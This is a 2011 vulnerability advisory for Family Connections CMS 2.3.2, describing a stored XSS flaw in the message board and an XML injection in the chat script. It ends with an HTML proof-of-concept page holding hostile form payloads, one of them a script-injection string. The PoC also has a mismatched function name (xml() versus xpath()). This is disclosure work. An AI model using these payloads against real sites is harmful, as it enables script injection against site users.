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Family Connections CMS 2.3.2 (POST) Stored XSS And XML Injection


Vendor: Ryan Haudenschilt
Product web page: http://www.familycms.com
Affected version: 2.3.2

Summary: Family Connections is an open source
content management system. It makes creating a
private, family website easy and fun.

Desc: FCMS suffers from a stored XSS vulnerability
(post-auth) in messageboard.php script thru the
'subject' post parameter. XML Inj. lies in the
/inc/getChat.php script with 'users' get parameter with
no args, and post parameter 'message'.

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com
                            Zero Science Lab - http://www.zeroscience.mk


Advisory ID: ZSL-2011-5004
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5004.php


22.03.2011


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<html>
<title>Family Connections CMS 2.3.2 Stored XSS And XPath Injection</title>
<body bgcolor="#1C1C1C">
<script type="text/javascript">
function xpath(){document.forms["xml"].submit();}
function xss(){document.forms["xss"].submit();}
</script>
<form action="http://FCMS/inc/getChat.php" enctype="application/x-www-form-urlencoded" method="POST" id="xml">
<input type="hidden" name="message" value="\\';--\\";--" /></form>
<a href="javascript: xml();" style="text-decoration:none">
<b><font color="red"><center><h3><br /><br />Exploit XML Injection!<h3></center></font></b></a>
<form action="http://FCMS/messageboard.php" enctype="application/x-www-form-urlencoded" method="POST" id="xss">
<input type="hidden" name="subject" value='"><script>alert(1)</script>' />
<input type="hidden" name="post" value="waddup" />
<input type="hidden" name="name" value="1" />
<input type="hidden" name="post_submit" value="Submit" /></form>
<a href="javascript: xss();" style="text-decoration:none">
<b><font color="red"><center><h3><br /><br />Exploit XSS!<h3></center></font></b></a>
</body></html>